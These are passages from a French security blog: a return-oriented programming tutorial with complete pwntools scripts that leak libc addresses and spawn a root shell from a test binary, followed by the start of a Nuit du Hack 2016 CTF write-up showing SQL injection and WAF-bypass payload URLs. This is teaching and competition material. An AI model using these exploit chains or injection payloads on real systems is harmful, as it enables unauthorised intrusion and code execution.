[15] .rodata PROGBITS 08048528 000528 000013 00 A 0 0 4 [16] .eh_frame_hdr PROGBITS 0804853c 00053c 000034 00 A 0 0 4 [17] .eh_frame PROGBITS 08048570 000570 0000dc 00 A 0 0 4 [18] .init_array INIT_ARRAY 0804964c 00064c 000004 00 WA 0 0 4 [19] .fini_array FINI_ARRAY 08049650 000650 000004 00 WA 0 0 4 [20] .jcr PROGBITS 08049654 000654 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049658 000658 0000e8 08 WA 6 0 4 [22] .got PROGBITS 08049740 000740 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049744 000744 00001c 04 WA 0 0 4 [24] .data PROGBITS 08049760 000760 000008 00 WA 0 0 4 [25] .bss NOBITS 08049768 000768 000004 00 WA 0 0 1 [26] .comment PROGBITS 00000000 000768 000039 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 0007a1 000106 00 0 0 1 [28] .symtab SYMTAB 00000000 0008a8 000450 10 29 45 4 [29] .strtab STRTAB 00000000 000cf8 000271 00 0 0 1 Clé des fanions : W (écriture), A (allocation), X (exécution), M (fusion), S (chaînes) I (info), L (ordre des liens), G (groupe), T (TLS), E (exclu), x (inconnu) O (traitement additionnel requis pour l&#39;OS) o (spécifique à l&#39;OS), p (spécifique au processeur) </pre></div> <p>Ici on peut voir que les sections .init, .plt, .text et .fini ont le flag eXecutable, c'est donc ici que nous allons trouver nos gadgets.</p> <p>Petit rappel sur les sections les plus importantes d'un binaire lorsque l'on souhaite faire du ROP :</p> <ul> <li>PLT : Contient du code permettant de résoudre les fonctions de la libc exécutées dans le binaire (<a href="http://www.segmentationfault.fr/linux/role-plt-got-ld-so/">Explication</a>)</li> <li>TEXT : Le code du binaire</li> <li>GOT : Contient les adresses de la libc résolues grâce à la plt</li> <li>BSS : Contient les variables statiques définies lors de la création du programme.</li> <li>DATA : Contient les données variables étant définies lors de la création du programme. Par exemple : </li> </ul> <div class="highlight"><pre><span></span> <span class="kt">char</span> <span class="n">test</span><span class="p">[]</span><span class="o">=</span><span class="s">&quot;Ma chaîne&quot;</span><span class="p">;</span> </pre></div> <p>Après ce bref rappel sur le rôle des sections, voyons à quoi ressemble un gadget. Les gadgets ont, la plupart du temps, la forme suivante :</p> <div class="highlight"><pre><span></span>instruction1; instruction2; instruction-n; ret </pre></div> <p>L'instruction "ret" en 32bits est l'équivalent d'un pop EIP : On enlève 4 bytes de la stack et on les met dans EIP.</p> <p>Cela permet d'enchainer différents gadgets et de construire une suite d'actions que l'on appelle ropchain.</p> <p>Le type de gadget le plus utilisé est le gadget "pop", il permet de mettre des chaînes de 4 bytes non exécutables sur la stack comme dans l'exemple suivant :</p> <p>Exemple de ropchain située sur la stack :</p> <div class="highlight"><pre><span></span>+----------------------------+ | | | pop ebx; pop ecx; ret; | | | +----------------------------+ | | | 0x61616161 | | | +----------------------------+ | | | 0x62626262 | | | +----------------------------+ | | | gadget suivant | | | +----------------------------+ </pre></div> <p>Lors de l'exploitation, cette technique nous permettra par exemple de faire appel à des fonctions avec des arguments comme nous allons le voir dans la partie suivante.</p> <h2>La méthode de ROP classique :</h2> <p>Passons directement à la méthode d'exploitation. Nous allons utiliser le schéma d'exploitation suivant :</p> <ul> <li>ret2plt vers puts afin de leak (récupérer) une adresse de la libc (dont la base est aléatoire en raison de l'ASLR).</li> <li>ret2main afin de ré-exécuter le programme sans recharger l'ALSR.</li> <li>ret2libc vers <em>system</em>.</li> </ul> <p><img src="https://dailysecurity.fr/images/wtf.gif" alt="Wtf" style="width: 50%;"/></p> <p>Maintenant que vous êtes tous perdus, une petite explication s'impose :</p> <p>C'est quoi tous ces ret2truc ?</p> <p>Le <strong>ret2plt</strong> est une méthode qui permet d’exécuter n'importe quelle fonction importée dans le binaire (via la PLT).</p> <p>On peut les lister de la manière suivante :</p> <div class="highlight"><pre><span></span>$ objdump -R testrop testrop: format de fichier elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049740 R_386_GLOB_DAT __gmon_start__ 08049750 R_386_JUMP_SLOT puts 08049754 R_386_JUMP_SLOT __gmon_start__ 08049758 R_386_JUMP_SLOT __libc_start_main 0804975c R_386_JUMP_SLOT __isoc99_scanf </pre></div> <p>Cette commande affiche les fonctions importées de la libc et leur adresse dans la GOT.</p> <p>Dans notre schéma d'exploitation, nous avons parlé d'un ret2plt de puts.</p> <p>Le but d'un ret2plt est d'exécuter une fonction de la libc présente dans le binaire.</p> <p>Le modèle de ropchain pour faire un ret2plt est le suivant:</p> <div class="highlight"><pre><span></span>ropchain = addrPltFonction + popNgadgetRet + arg1 +...+ arg2 </pre></div> <p>Avec popNgadgetRet étant un gadget contenant autant de pop que d'arguments voulus : dans notre cas, un seul.</p> <p>En effet, la fonction puts prend un argument qui est un pointeur vers une chaîne:</p> <div class="highlight"><pre><span></span><span class="kt">int</span> <span class="n">puts</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">str</span><span class="p">)</span> </pre></div> <p>Si cet argument pointe sur une adresse de la libc, nous pouvons alors l'afficher et la récupérer ! </p> <p>Dans notre étude des sections importantes nous avons vu une section qui contient les adresses de la libc : la GOT !</p> <p>On peut donc en conclure qu'un pointeur sur l'adresse de <em>scanf</em> est disponible à l'adresse 0x804975c (voir la liste des fonctions ci-dessus).</p> <p>Une simple vérification sous gdb nous confirme que l'adresse de <em>scanf</em> est bien dans la GOT :</p> <div class="highlight"><pre><span></span>gdb-peda$ x/x 0x0804975c 0x804975c &lt;__isoc99_scanf@got.plt&gt;: 0xf7e77140 gdb-peda$ x/x __isoc99_scanf 0xf7e77140 &lt;__isoc99_scanf&gt;: 0x53565755 </pre></div> <p>Pour notre exploitation, il faut que notre début de ropchain exécute :</p> <div class="highlight"><pre><span></span>puts(adresseGOTscanf); </pre></div> <p>On récupère donc l'adresse référençant puts dans la plt (ici 0x8048310):</p> <div class="highlight"><pre><span></span>$ objdump -d testrop | grep &quot;&lt;puts@plt&gt;&quot; 08048310 &lt;puts@plt&gt;: 8048459: e8 b2 fe ff ff call 8048310 &lt;puts@plt&gt; </pre></div> <p>Il faut aussi lui envoyer un argument à l'aide d'un pop XXX; ret.</p> <p><a href="https://github.com/JonathanSalwan/ROPgadget">RopGadget</a> permet d'extraire les gadgets d'un binaire :</p> <div class="highlight"><pre><span></span>$ ROPGadget --binary testrop Gadgets information ============================================================ 0x08048623 : adc al, 0x41 ; ret 0x0804843e : adc al, 0x50 ; call edx 0x080483b7 : adc cl, cl ; ret 0x0804848f : add al, 0x59 ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x08048418 : add al, 8 ; add ecx, ecx ; ret 0x080483b1 : add al, 8 ; call eax 0x080483eb : add al, 8 ; call edx 0x080482f0 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x08048620 : add cl, byte ptr [eax + 0xe] ; adc al, 0x41 ; ret 0x0804861c : add eax, 0x2300e4e ; dec eax ; push cs ; adc al, 0x41 ; ret 0x08048415 : add eax, 0x8049768 ; add ecx, ecx ; ret 0x0804841a : add ecx, ecx ; ret 0x080483b5 : add esp, 0x10 ; leave ; ret 0x080484f9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804848d : add esp, 4 ; pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x080482f2 : add esp, 8 ; pop ebx ; ret 0x080482d8 : call 0x8048386 0x080483b3 : call eax 0x080483ed : call edx 0x08048494 : cld ; ret 0x08048621 : dec eax ; push cs ; adc al, 0x41 ; ret ----- snip ----- 0x080483b2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret 0x080483ec : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret 0x08048419 : or byte ptr [ecx], al ; leave ; ret 0x08048491 : pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x080484ff : pop ebp ; ret 0x080484fc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080482f5 : pop ebx ; ret 0x08048490 : pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x080484fe : pop edi ; pop ebp ; ret 0x080484fd : pop esi ; pop edi ; pop ebp ; ret 0x08048493 : popal ; cld ; ret 0x08048416 : push 0x1080497 ; leave ; ret ---- snip ---- 0x080483ea : xchg eax, edi ; add al, 8 ; call edx 0x0804861f : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret Unique gadgets found: 87 </pre></div> <p>On y trouve un gadget <code>0x080482f5 : pop ebx ; ret;</code> idéal pour notre exploitation !</p> <p>La deuxième partie du schéma indique l'utilisation d'un <strong>ret2main</strong>.</p> <p>Cela consiste tout simplement à mettre l'adresse du main du programme dans notre ropchain afin que celui-ci se relance sans modifier l'ALSR (l'ALSR change à chaque démarrage du programme).</p> <p>Notre ropchain pour leak l'adresse de <em>scanf</em> dans la libc aura donc cette forme :</p> <div class="highlight"><pre><span></span>ropchain = addrPLTputs + addrPopEbxRet + addrGOTscanf + addrMain +-----------------------------+ | | | 0x8048310 : &lt;puts@plt&gt; | | | +-----------------------------+ | | | 0x080482f5 : pop ebx ; ret; | | | +-----------------------------+ | | | 0x804975c : __isoc99_scanf | | | +-----------------------------+ | | | 0x8048477 : &lt;main&gt; | | | +-----------------------------+ </pre></div> <p>On teste donc avec le script suivant que notre début de ropchain fonctionne :</p> <p><em>Attention le script fonctionne avec la librairie <a href="https://github.com/Gallopsled/pwntools">pwntools</a></em></p> <div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">b</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/lib32/libc.so.6&#39;</span><span class="p">)</span> <span class="c1"># &quot;info sharedlibrary&quot; sous gdb pour connaître le chemin de votre libc</span> <span class="n">DEBUG</span> <span class="o">=</span> <span class="bp">False</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="n">buf</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">if</span><span class="p">(</span><span class="n">DEBUG</span><span class="p">):</span> <span class="k">print</span> <span class="n">buf</span> <span class="k">return</span> <span class="n">buf</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span><span class="p">,</span> <span class="n">b</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input:&quot;</span><span class="p">)</span> <span class="c1"># pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :</span> <span class="n">addrmain</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span> <span class="c1"># 0x8048477</span> <span class="n">pr</span> <span class="o">=</span> <span class="mh">0x080482f5</span> <span class="c1">#: pop ebx ; ret</span> <span class="n">gotscanf</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;got.__isoc99_scanf&#39;</span><span class="p">]</span> <span class="c1"># 0x804975c</span> <span class="n">pltputs</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span> <span class="c1"># 0x8048310 </span> <span class="n">padding</span><span class="o">=</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">76</span> <span class="n">start</span><span class="p">()</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Construct ropchain&quot;</span><span class="p">)</span> <span class="n">ropchain</span><span class="o">=</span><span class="n">padding</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pltputs</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">gotscanf</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">addrmain</span><span class="p">)</span> <span class="c1"># p32 permet de &quot;pack&quot; une adresse : 0x61616161 -&gt; &quot;aaaa&quot; </span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Get scanf leak&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ropchain</span><span class="p">)</span> <span class="k">print</span> <span class="n">wait</span><span class="p">(</span><span class="s1">&#39;Input:&#39;</span><span class="p">)</span> </pre></div> <p>Le script retourne bien l'adresse de <em>scanf</em> en little endian <code>@q▒▒</code>et se relance tout seul :</p> <div class="highlight"><pre><span></span>@q▒▒ Input: </pre></div> <p>Cette bouillie de caractères est en réalité l'adresse que nous venons de récupérer. </p> <p>Elle ne nous apparaît bien évidemment pas de façon à ce que nous puissions la lire à l'œil nu, mais notre script va s'en charger pour nous :</p> <div class="highlight"><pre><span></span><span class="n">leak</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s1">&#39;Input:&#39;</span><span class="p">)</span> <span class="n">leak_scanf</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="mi">6</span><span class="p">])</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak got scanf: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_scanf</span><span class="p">)))</span> </pre></div> <p>Nous avons donc un leak de la libc (et plus précisément de la fonction scanf()) !</p> <p><img src="https://dailysecurity.fr/images/rocknroll.gif" alt="Surprise" style="width: 50%;"/></p> <p>Nous arrivons donc à notre dernière partie : faire un <strong>ret2libc</strong> vers system().</p> <p>Si vous ne savez pas ce qu'est un ret2libc, je vous redirige vers la section prérequis en haut de l'article.</p> <p><em>tl;dr : C'est globalement un ret2plt avec une fonction de la libc.</em></p> <p>Actuellement, nous avons l'adresse de <em>scanf</em> dans la libc mais pas celle de <em>system</em>.</p> <p>Heureusement, nous pouvons la calculer facilement car l'écart entre deux fonctions de la libc est toujours le même. </p> <p>Ainsi scanfLibc -/+ offset = systemLibc.</p> <p>La librairie pwntools permet de calculer l'offset de différence très facilement : </p> <div class="highlight"><pre><span></span><span class="n">leak_system</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span> </pre></div> <p>Nous avons déjà notre gadget pop;ret; afin de mettre un argument sur la stack, ici "/bin/sh".</p> <p>La chaîne "/bin/sh" est présente dans la libc ainsi que dans la variable SHELL de l'environnement du programme.</p> <p>Calcul de l'adresse de "/bin/sh" avec pwntools :</p> <div class="highlight"><pre><span></span><span class="n">leak_binsh</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">&#39;/bin/sh</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span> </pre></div> <p>La suite de notre ropchain sera donc :</p> <div class="highlight"><pre><span></span>ropchain = systemLibc + addrPopEbxRet + addrBinsh +-----------------------------+ | | | Adresse system | | | +-----------------------------+ | | | 0x080482f5 : pop ebx ; ret; | | | +-----------------------------+ | | | Adresse &quot;/bin/sh&quot; | | | +-----------------------------+ </pre></div> <p>On résume la méthode :</p> <ul> <li>On leak une adresse de la libc grâce à un ret2plt de <em>puts</em> (<em>printf</em> ou <em>send</em> marchent aussi)</li> <li>On calcule l'adresse de <em>system</em> et de /bin/sh à partir de ce leak</li> <li>On fait un ret2libc vers system() pour avoir un shell</li> </ul> <p>On test notre script qui contient la ropchain complète :</p> <div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">b</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/lib32/libc.so.6&#39;</span><span class="p">)</span> <span class="c1"># &quot;info sharedlibrary&quot; sous gdb pour connaître le chemin de votre libc</span> <span class="n">DEBUG</span> <span class="o">=</span> <span class="bp">False</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="n">buf</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">if</span><span class="p">(</span><span class="n">DEBUG</span><span class="p">):</span> <span class="k">print</span> <span class="n">buf</span> <span class="k">return</span> <span class="n">buf</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span><span class="p">,</span> <span class="n">b</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input:&quot;</span><span class="p">)</span> <span class="c1"># pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :</span> <span class="n">addrmain</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span> <span class="c1"># 0x8048477</span> <span class="n">pr</span> <span class="o">=</span> <span class="mh">0x080482f5</span> <span class="c1">#: pop ebx ; ret</span> <span class="n">gotscanf</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;got.__isoc99_scanf&#39;</span><span class="p">]</span> <span class="c1"># 0x804975c</span> <span class="n">pltputs</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span> <span class="c1"># 0x8048310 </span> <span class="n">padding</span><span class="o">=</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">76</span> <span class="n">start</span><span class="p">()</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Construct ropchain&quot;</span><span class="p">)</span> <span class="n">ropchain</span><span class="o">=</span><span class="n">padding</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pltputs</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">gotscanf</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">addrmain</span><span class="p">)</span> <span class="c1"># p32 permet de &quot;pack&quot; une adresse : 0x61616161 -&gt; &quot;aaaa&quot;</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Get scanf leak&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ropchain</span><span class="p">)</span> <span class="n">leak</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s1">&#39;Input:&#39;</span><span class="p">)</span> <span class="n">leak_scanf</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="mi">6</span><span class="p">])</span> <span class="n">leak_system</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;__isoc99_scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span> <span class="n">leak_binsh</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;__isoc99_scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">&#39;/bin/sh</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak got scanf: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_scanf</span><span class="p">)))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak system: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_system</span><span class="p">)))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak /bin/sh: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_binsh</span><span class="p">)))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Get shell&quot;</span><span class="p">)</span> <span class="n">ropchain</span><span class="o">=</span><span class="n">padding</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">leak_system</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">leak_binsh</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ropchain</span><span class="p">)</span> <span class="c1"># Interactive shell</span> <span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span> </pre></div> <p>Résultat : </p> <div class="highlight"><pre><span></span>$ id <span class="nv">uid</span><span class="o">=</span><span class="m">0</span><span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span><span class="m">0</span><span class="o">(</span>root<span class="o">)</span> <span class="nv">groupes</span><span class="o">=</span><span class="m">0</span><span class="o">(</span>root<span class="o">)</span> </pre></div> <p><img src="https://dailysecurity.fr/images/likeaboss.gif" alt="Likeaboss" style="width: 50%;"/></p> <p>Vous connaissez maintenant la technique de ROP la plus utilisée et qui ne nécessite pas beaucoup de gadget (un pop;ret; et une fonction d'affichage).</p> <p>J'utilise personnellement cette technique à chaque fois que je dois faire un ROP en raison de sa simplicité de mise en place.</p> <p>La plupart des autres méthodes de ROP dérivent de cette technique.</p> <p>J'ai uniquement parlé ici du ROP en 32 bits mais le schéma d'exécution reste le même pour le 64 bits : la seule différence étant que les arguments sont passés par registres et non plus sur la stack. </p> <p>Les gadgets pop doivent donc correspondre aux bons registres :</p> <div class="highlight"><pre><span></span>1er argument : pop rdi; ret; 2ème argument : pop rsi; ret; 3ème argument : pop rdx; ret; </pre></div> <p>Cette différence est liée au système d'appel des fonctions disponible <a href="https://w3challs.com/syscalls/?arch=x86_64">ici</a>.</p> <p>De plus, en 64 bits, il existe dans la libc un "magic gadget" qui permet d'exécuter un shell directement sans connaitre l'adresse de <em>system</em> ou de "/bin/sh", plus d'informations <a href="https://github.com/m1ghtym0/magic_gadget_finder">ici</a>.</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Nuit du Hack Quals 2016 – SpaceSec – Write-Up2016-04-04T09:08:00+02:002016-04-04T09:08:00+02:00Geluchattag:www.dailysecurity.fr,2016-04-04:/write-up-ndh-quals-2016-spacesec<p>Le week-end dernier, j'ai participé aux qualifications de la Nuit du Hack 2016 avec l'équipe khack40. Les 10 premières équipes recevaient des places gratuites pour la Nuit du Hack (début juillet) ainsi que la possibilité de participer au CTF privé lors de l’événement , et comme l'année dernière nous n'avons …</p><p>Le week-end dernier, j'ai participé aux qualifications de la Nuit du Hack 2016 avec l'équipe khack40. Les 10 premières équipes recevaient des places gratuites pour la Nuit du Hack (début juillet) ainsi que la possibilité de participer au CTF privé lors de l’événement , et comme l'année dernière nous n'avons malheureusement pas réussi à nous qualifier.</p> <p>Nous avons tout de même atteint la 11ème place (la place ingrate) ce qui est mieux que l'année précédente où après un rush infernal des autres équipes pendant la nuit nous avions finalement fini 28ème.</p> <p>Comme chaque année le guessing était présent (la stéganographie principalement) mais cela ne m'a pas empêché de trouver des épreuves intéressantes comme l'épreuve de web que je vais vous présenter.</p> <h3>SpaceSec 300 pts</h3> <p><img src="https://www.dailysecurity.fr/images/SpaceSec.png" alt="SpaceSec Challenge" style="width: 70%;"></p> <p>La page est basique, un bon vieux challenge fait avec Bootstrap.</p> <p>On remarque que tous les articles proposés contiennent les mêmes descriptions, seuls les numéros de CVE et les auteurs semblent changer.</p> <p>En cliquant sur Older Post on obtient une adresse du type:</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=6</p> </blockquote> <p>Si on change un peu l'offset on obtient :</p> <p><img src="https://www.dailysecurity.fr/images/SpaceSec-User-Flag.png" alt="SpaceSec Challenge User Flag" style="width: 60%;"></p> <p>Oh un utilisateur qui s'appelle Flag...</p> <p>Soyons fou, tentons la SQL injection directement :</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=6'</p> </blockquote> <p><img src="https://www.dailysecurity.fr/images/SpaceSec_Waf.png" alt="SpaceSec Waf" style="width: 60%;"></p> <p>Bon, ça ne marche pas très bien, voyons voir si l'on peut au moins déclencher une erreur SQL:</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=-1</p> </blockquote> <p><img src="https://www.dailysecurity.fr/images/SpaceSec_-1.png" alt="SpaceSec SQLi" style="width: 60%;"></p> <p>Yeah, une belle erreur SQL !</p> <p>En résumé, nous avons :</p> <ul> <li>Un utilisateur Flag</li> <li>Un offset modifiable d'une requête SQL</li> <li>Une erreur SQL</li> <li>Un affichage du numéro de l'erreur SQL</li> <li>Un WAF maison (un pare-feu pour le Web)</li> </ul> <p>Après un petit temps de réflexion on en vient à deux remarques :</p> <ul> <li>Le WAF se bypass facilement à coups de %0a pour les espaces et de changements de casse (SeLEcT par exemple)</li> <li>On ne peut pas faire d'UNION, la requête contient donc probablement un order by.</li> </ul> <p>La requête est donc dans le genre:</p> <div class="highlight"><pre><span></span><span class="nx">SELECT</span> <span class="o">*</span> <span class="nx">FROM</span> <span class="nx">latable</span> <span class="nx">ORDER</span> <span class="nx">BY</span> <span class="nb">rand</span><span class="p">()</span> <span class="nx">LIMIT</span> <span class="mi">3</span> <span class="nx">OFFSET</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;offset&#39;</span><span class="p">];</span> </pre></div> <p>Quelques recherches sur le web nous permettent de trouver un bypass assez sympathique à coup de procédure SQL.</p> <p><a href="http://raijee1337.blogspot.fr/2015/07/bypassing-incorrect-usage-of-union-and-order-by.html">L'article</a> en question nous parle de l'utilisation de la procédure ANALYSE qui est présente dans mysql de base.</p> <p>C'est presque trop beau pour être vrai, et... en effet ça l'est !</p> <blockquote> <p>http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(eXtractValue%0a(0,1),1)--</p> </blockquote> <p><img src="https://www.dailysecurity.fr/images/SpaceSec_Error1108-1.png" alt="Error1108" style="width: 60%;"></p> <p>La page ne nous ressort que le numéro de l'erreur...</p> <p>Alors, que faire pour contourner ce problème?</p> <p>Eh bien, la réponse est simple, il suffit juste de faire une time-based injection !</p> <p>Et... ça ne fonctionne pas, l'auteur du challenge à décidé de bloquer les fonctions sleep et benchmark...</p> 